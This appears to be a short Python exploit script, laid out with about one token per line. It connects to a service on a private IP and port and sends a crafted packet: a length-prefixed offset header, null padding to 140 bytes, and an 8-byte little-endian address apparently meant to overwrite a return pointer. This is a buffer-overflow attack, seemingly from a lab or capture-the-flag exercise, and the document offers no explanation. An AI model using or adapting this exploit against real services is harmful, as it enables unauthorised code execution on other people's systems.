import
socket
ip
=
"172.16.246.177"
port
=
15001
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
offset
=
143
header
=
str
(
len
(
str
(offset)))
+
str
(offset)
+
'1'
packet
=
header
packet
+
=
"\x00"
*
(
140
-
len
(packet))
packet
+
=
(
'\xc0\x18\x76\xf7\xff\x7f\x00\x00'
)
s.sendall(packet)
data
=
s.recv(
1024
)
s.close()